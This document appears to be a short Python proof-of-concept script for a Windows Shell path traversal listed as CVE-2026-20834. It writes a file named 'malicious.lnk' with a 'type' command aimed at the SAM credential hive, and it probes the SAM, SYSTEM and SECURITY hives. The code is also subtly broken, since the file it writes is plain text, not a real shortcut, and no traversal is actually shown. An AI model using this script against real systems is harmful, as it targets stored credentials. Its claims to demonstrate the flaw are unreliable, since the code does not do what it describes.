CVE-2026-20834

# CVE-2026-20834 Windows Shell Path Traversal PoC # Note: This PoC demonstrates the path traversal concept # Actual exploitation requires physical access to target system import os import sys def generate_malicious_lnk(target_path, output_file): """ Generate a shortcut file with absolute path traversal This simulates the Windows Shell vulnerability """ # Malicious path that bypasses validation malicious_path = "\\\\?\\C:\\Windows\\System32\\config\\SAM" # Create a .lnk file with traversal path lnk_content = f"TARGET: {malicious_path}\n" lnk_content += f"ARGUMENTS: /c type {malicious_path}\n" with open(output_file, 'w') as f: f.write(lnk_content) print(f"[+] Created malicious shortcut: {output_file}") print(f"[+] Target path: {malicious_path}") def test_path_traversal(): """ Test path traversal vulnerability in file operations """ test_paths = [ "C:\\Windows\\System32\\config\\SAM", "C:\\Windows\\System32\\config\\SYSTEM", "C:\\Windows\\System32\\config\\SECURITY", "C:\\Windows\\repair\\default_account" ] for path in test_paths: try: if os.path.exists(path): print(f"[!] Path accessible: {path}") print(f" Size: {os.path.getsize(path)} bytes") else: print(f"[*] Path not found: {path}") except Exception as e: print(f"[-] Error accessing {path}: {e}") if __name__ == "__main__": print("CVE-2026-20834 Windows Shell Absolute Path Traversal") print("=" * 60) print("WARNING: This PoC is for educational purposes only") print("Requires physical access to target Windows system") print("=" * 60) # Generate malicious shortcut generate_malicious_lnk("\\\\?\\C:\\Windows\\System32", "malicious.lnk") # Test paths (requires appropriate permissions) print("\n[*] Testing sensitive paths...") test_path_traversal()

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